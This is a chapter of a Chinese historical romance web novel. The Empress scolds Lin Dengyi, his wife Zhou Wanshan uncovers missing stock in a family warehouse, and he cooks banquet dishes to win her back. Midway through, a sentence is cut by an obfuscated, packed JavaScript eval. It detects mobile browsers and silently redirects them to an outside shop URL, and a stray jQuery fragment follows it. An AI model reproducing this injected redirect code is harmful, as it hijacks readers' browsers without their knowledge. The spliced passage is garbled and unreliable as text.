林灯意静静听完皇后的话,脸上没有什么表情,低垂的睫毛在眼中投下一片阴影。
他没想到皇后不答应,以往皇后几乎什么事情都依着他,这让他都快忘记了被拒绝和斥责的滋味,也都快忘了皇后其实不是一个耳根子软的人。
可是,真如皇后所说的那般吗?
这到底是谁的错?
他又该怎么办?
林灯意不知道,他只能艰难地开口:“皇后娘娘,微臣以为舟氏并非无理取闹之人,她很好,微臣希望她能笑言常在,所以还请您成全。”
皇后叹了口气:“你呀,就是脾气太好了,上次舟氏来坤宁宫,本宫不过教育她几句,她还敢还嘴,擅自离开,都是被你宠坏的!”
林灯意一惊,皇后竟然“教育”过舟晚珊,她是怎么教育她的?训斥?责打?抄书?舟晚珊为什么不告诉他呢?是因为觉得他不会站在她这一边吗?
她在皇后这里受了委屈……她不告诉他……
林灯意心里只觉得很对不起舟晚珊,她被皇后惩罚,而他什么都不知道,还和她置气。
“皇后娘娘,敢问您是怎么教育舟氏的?”林灯意抬头问。
皇后淡淡道:“本宫让她抄《女则》十遍,不过想来她并没有放在心上,这都快一个月了,也没见她送来抄本。”
“舟氏若有哪里做的不好,定是微臣没有好好教导她,还请皇后娘娘下次罚微臣就行。”
“你!”皇后气急,指着林灯意的手抖了几抖,道,“你怎么这么糊涂!那舟氏有什么好的,让你这样护着她!”
林灯意不说话。
皇后更气了,道:“真是个媚主的狐媚子!媚的你不管礼教了!你给本宫回去好好反省,写一封罪己书来。”
“是。那微臣退下了。”
皇后一只手揉着眉心,一只手随意挥挥。
林灯意回到林府时,舟晚珊已经出去了。
她已经想到了,灿若姐姐如果要搞垮林家的生意,必定先需要掌握一些林氏布坊的信息,也就是说她会安插一些人在林氏布坊,只要揪出这些人,从他们口中亲自说出林灿若派他们来做卧底的事,便由不得林灯意不信了。
于是她来到了林氏布坊的一个关键仓库里,这间仓库比较大,装了很多货物。
看守的小厮没见过舟晚珊,看舟晚珊身后只带着一个婢女,有些瞧不上她,倨傲地问:“这位夫人,此处是林氏布坊的仓库,您不能进去。”
舟晚珊平静地从袖口拿出林家管事的掌印,道:“我是林府的少夫人,你看清楚了,这是林家管事的掌印。我现在要核对仓库里的货物,把门打开。”
小厮一看,果然如此,他瞬间变了面色,低眉顺眼,笑着道:“原来是少夫人,是小的有眼不识泰山,没认出您,小的这就给您开门。”
舟晚珊走进去,她一边拿着货物清单,一边核对。
小厮站在她身后,有些局促不安:“少夫人,这种小事哪需要您亲自核查呀,要不小的替您检查吧。”
“不必。”
小厮眼睛嘀哩咕噜转,舟晚珊虽然背对着他,但就像后背长眼睛了似的说道:“你不必再说话,今天我一定要把这些东西全部检查一遍,你去门口待着就好。”
小厮只好离开。
舟晚珊又对小梨吩咐道:“你拿好这份清单,报一种货物我检查一种,有的不用动,没有的就在旁边打叉。”
仓库比较大,但好在这些货物都有堆放顺序,因此舟晚珊也只花了一天时间检查完。
果然,货物有问题。
清单上的一些东西仓库里根本没有,比如清单里显示有染红色的植物苏木一百株,但仓库里没有,比如清单里写着绸缎三百匹,但实际只有一百匹。
诸如此类,不胜枚举。
舟晚珊叫来小厮,她的语气中带着愤怒:“这是怎么回事?为什么清单上的一些物品仓库里没有?你从实招来,否则我决不轻饶!”
小厮连忙跪下道:“这小的不知啊!送货的拿来什么货物小的就放进仓库里什么,小的绝不敢私藏啊!”
“胡说!你们库房小厮应当是检查好没有缺漏再放货物,休要推卸责任!”
“小的,小的……小的不知道啊!”
舟晚珊让自己的暗卫把这个小厮带回府里,她待会亲自审问。
林府。
林灯意来到厨房,他想问问厨师们会不会做宫宴的菜品。
厨师一听林灯意是要做饭给舟晚珊吃,都夸赞林灯意是多么地宠妻。
但是,厨师们只会做葱泼兔、蟹酿橙、樱桃煎和水晶虾饺。
林灯意点点头,这样也行,总比什么都不会好。只要做的好吃一点,多做一些,也能凑成一顿饭了。希望舟晚珊能喜欢吧。
林灯意谦虚地听着厨师们的教授。
“葱泼兔要取新鲜兔肉切薄片,加盐、绍酒、蛋清抓匀,再用湿淀粉上浆,最后滴入少许麻油拌匀腌制片刻……”
“蟹酿橙要选黄熟大橙子,在顶部约四分之一处横切一刀,做成带枝的“盖子”。将橙肉挖出,保留部分橙汁在“橙瓮”内……”
“樱桃煎要将樱桃与话梅或梅子水一同入锅煮烂。捞出樱桃,冷却后去核。将煮烂去核的樱桃肉捣碎,放入模具中压成带有花纹的薄饼状。最后在表面淋上蜂蜜或撒上白糖即可。”
林灯意边学边做,水晶虾饺是最难做的,沸水刚烧开就必须马上冲入面粉,晚一点都不行,林灯意试了好几次才成功。
在厨师们细心地教导之下,加上林灯意自己的做饭天赋,最终他在晚饭前做好了所有菜。
就等舟晚珊回来了。
舟晚珊检查完仓库里的东西,踏着暮云风尘仆仆地回到林府梨院。
一进来,她就闻到很熟悉的香味,她循着香味走到饭桌,便看到自从端午宫宴结束后她就一直朝思暮想的菜式。
桌子旁边坐着林灯意,林灯意偷偷以余光打量舟晚珊,她果然被菜品吸引,看起来垂涎欲滴,就剩下没流口水了。
林灯意心里暗自笑她这副可爱样子。
舟晚珊此时不知道该不该坐下吃饭了,吃吧,他们还在吵架,不吃吧,又实在惋惜。
踌躇了一会儿,她还是坐下了。
反正只要吃的时候别和林灯意对视,也别和他说话就行!
林灯意见舟晚珊动筷吃了起来,自己也拿起筷子夹了一个水晶虾饺尝。
他很想开口说几
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17788032|210241||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
句话,又很怕舟晚珊依旧不理睬自己,心中纠结,便也随便对付两口晚饭就不吃了,只是看着舟晚珊吃。他的眼中似乎藏有千言万语,暗含殷殷期待,不过舟晚珊一个劲地吃着菜,没有注意到。
等到舟晚珊终于把菜吃得七七八八了,林灯意下定决心开口说话:“我做的菜好吃吗?”
舟晚珊一惊,这些菜竟然是林灯意亲自做的吗?她刚才不知道啊!他不会觉得她吃了他做的菜就表示原谅他了吧?好狡猾!竟然以这么奸诈的手段逼她和好。
只是这些菜确实很好吃,和舟晚珊在宫宴上吃的味道差不多,于是她点点头,又摇摇头:“你可别以为我原谅你了!”
林灯意愣了一下,不禁轻笑出声,舟晚珊这副样子还真是可爱,分明就爱吃极了这些菜,又要辛苦装作不喜欢。
夏风吹过,将林灯意的笑声揉碎在空气里。
他道:“我知道。你吃了我做的菜,不代表你原谅了我。”
舟晚珊煞有介事地点了点头:“没错!”
说完她又扒拉碗里的饭,夹了一只大大的兔腿吃,嘴里一嚼一嚼,唇边沾染了些许汤汁。
暗色的汤汁衬着她雪白的肌肤,显得滑稽。
林灯意拿出帕子轻轻为她擦去嘴角的汤汁,道:“那我怎样做,才能让你原谅我?求夫人不吝赐教。”
一阵沉默。
舟晚珊眼睛转了转圈,她有点惊讶林灯意竟然直接问她,这可是和他之前避之不及的行为不太符合。
那她要不要告诉他呢?
他问的很真诚,眼睛里没有一点虚假或玩笑的意思,如果不告诉他,会不会显得自己太咄咄逼人了呢?
但如果告诉他……是否表现出自己太好说话了?
舟晚珊一时有些纠结。
她的眼角余光瞥到这一桌子饭菜,都是林灯意亲手做的,足以见他的诚意了。
那么,她还是觉得应该给他一个机会,一个知错就改的机会。
假如他下次再这样,她就不会这么轻易原谅他了。
“夫君既然问了,那我也就实话实说,只要你态度诚恳地给我赔个罪就好,其他也不用你做什么。”
林灯意心中一瞬间觉得:就这样?
就这样就好了?这么容易吗?
他再一思索,舟晚珊平日里就待人真诚,做事有清晰的原则和底线。她会提出这样的要求,好像也很符合她的性格。
倒是他,把这件事想复杂了,以为她需要名贵的礼物,才能作罢。现在一想,确实不符合舟晚珊的性子。
从椅子上站起身,林灯意理了理自己的衣服,让衣襟整齐,然后他调整自己的神情,恭敬地作揖行礼,郑重道:“意不该对娘子不敬,还请娘子原谅。”
“还有呢?我说是灿若姐姐干的这件事,你到底信不信?”舟晚珊对他避重就轻的回答略略不满,问道。
“这……我……”林灯意语塞,他不想说谎,不想因为要让舟晚珊原谅而说违心话,他确实不认为林灿若做了这种事。
舟晚珊急得放下了筷子:“你还是不信我?!好,好,好,你跟我来,我带你看看真相!”
饭也来不及吃了,舟晚珊拽着林灯意的手就往屋子外走。